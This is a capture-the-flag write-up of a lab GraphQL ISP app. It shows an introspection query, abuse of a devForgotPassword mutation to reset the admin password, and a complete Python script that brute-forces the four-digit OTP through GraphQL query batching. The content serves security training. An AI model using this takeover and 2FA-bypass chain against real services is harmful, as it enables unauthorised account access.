
Overview
Speednet is an Internet Service Provider platform that enables users to purchase internet services.
We invite you to participate in our bug bounty program to identify any potential vulnerabilities within the application and retrieve the flag hidden on the site. For your testing, we have provided additional email services. Please find the details below:
Email Site: http://IP:PORT/emails/
Email Address: test@email.htb
📝 Related Bug Bounty Reports
First Look
This is a webapp working with graphql, looking at the reports provided we see a couple of interesting things already.
We can send this query to the graphql api and look at the structure:
{"query": "query IntrospectionQuery{__schema{queryType{name}mutationType{name}subscriptionType{name}types{...FullType}directives{name description locations args{...InputValue}}}}fragment FullType on __Type{kind name description fields(includeDeprecated:true){name description args{...InputValue}type{...TypeRef}isDeprecated deprecationReason}inputFields{...InputValue}interfaces{...TypeRef}enumValues(includeDeprecated:true){name description isDeprecated deprecationReason}possibleTypes{...TypeRef}}fragment InputValue on __InputValue{name description type{...TypeRef}defaultValue}fragment TypeRef on __Type{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name}}}}}}}}"}
Reset Admin Password
It returns all the api paths including a very interesting one:
{"query":"mutation { devForgotPassword(email: \"admin@speednet.htb\") }"}
Which does send a reset forgot password to the admin and returns us the forgetPassword token, from there we can reset any user's password including the admin
With the admin password reset, we can try to login and we see that it is asking for a otp code.
We try with our own account and we can see that the code is a four digit 0000-9999.
Bruteforcing the OTP with graphql batching
Based on that we try bruteforcing it but the code has a timeout which makes traditional bruteforcing challenging.
From the reports provided we see that a graphql batching attack can bypass limitations by sending multiple query within a http request. That's perfect that would definetly speed up the process! Ok so how do we do that?
In the report, they show how to send multiple request. We try with our own account:
[{"query":"\n mutation VerifyTwoFactor($token: String!, $otp: String!) {\n verifyTwoFactor(token: $token, otp: $otp) {\n token\n user {\n id\n email\n firstName\n lastName\n address\n phoneNumber\n twoFactorAuthEnabled\n }\n }\n }\n ","variables":{"token":"267c4be3-f835-4dec-824d-1383453410db","otp":"1234"}},{"query":"\n mutation VerifyTwoFactor($token: String!, $otp: String!) {\n verifyTwoFactor(token: $token, otp: $otp) {\n token\n user {\n id\n email\n firstName\n lastName\n address\n phoneNumber\n twoFactorAuthEnabled\n }\n }\n }\n ","variables":{"token":"267c4be3-f835-4dec-824d-1383453410db","otp":"2618"}},{"query":"\n mutation VerifyTwoFactor($token: String!, $otp: String!) {\n verifyTwoFactor(token: $token, otp: $otp) {\n token\n user {\n id\n email\n firstName\n lastName\n address\n phoneNumber\n twoFactorAuthEnabled\n }\n }\n }\n ","variables":{"token":"267c4be3-f835-4dec-824d-1383453410db","otp":"5572"}}]
And it works! We can see that we tried multiple code with one being valid and it send back the token!
Now all that's left to do is to find how many queries we can send per request without getting an error and automate the process.
I don't know if there's an easier way to do this but ultimately, I wrote my own script to do the batching part:
import time
import requests
import json
url = "http://94.237.57.211:40129//graphql"
token = "ed1f592d-82af-4ae0-8876-4890e0c4e80b"
headers = {
"Authorization": "",
"Accept-Language": "en-US,en;q=0.9",
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64)",
"Content-Type": "application/json",
"Origin": "http://94.237.57.211:40129/",
"Referer": "http://94.237.57.211:40129/",
}
query = """
mutation VerifyTwoFactor($token: String!, $otp: String!) {
verifyTwoFactor(token: $token, otp: $otp) {
token
user {
id
email
firstName
lastName
address
phoneNumber
twoFactorAuthEnabled
}
}
}
"""
def build_batch(start, end):
return [{
"query": query,
"variables": {
"token": token,
"otp": f"{i:04d}"
}
} for i in range(start, end)]
for i in range(0, 10000, 200):
time.sleep(0.5)
print(f"[*] Sending batch {i:04d} - {i+199:04d}")
payload = build_batch(i, i+200)
response = requests.post(url, headers=headers, json=payload)
try:
results = response.json()
except Exception as e:
print(f"[!] JSON decode error: {e}")
print(response.text)
continue
for idx, item in enumerate(results):
path = f"{i + idx:04d}"
try:
data = item.get("data", {})
result = data.get("verifyTwoFactor", None)
if result and isinstance(result, dict) and "token" in result:
print(f"[+] VALID OTP FOUND: {path}")
print("[+] Token:", result["token"])
print(json.dumps(item, indent=2))
exit(0)
except Exception as e:
print(f"[!] Error at {path}: {e}")
print(json.dumps(item, indent=2))
print("[-] No valid OTP found.")
With this script it will print out the token found and we'll be able to access the admin account containing the flag!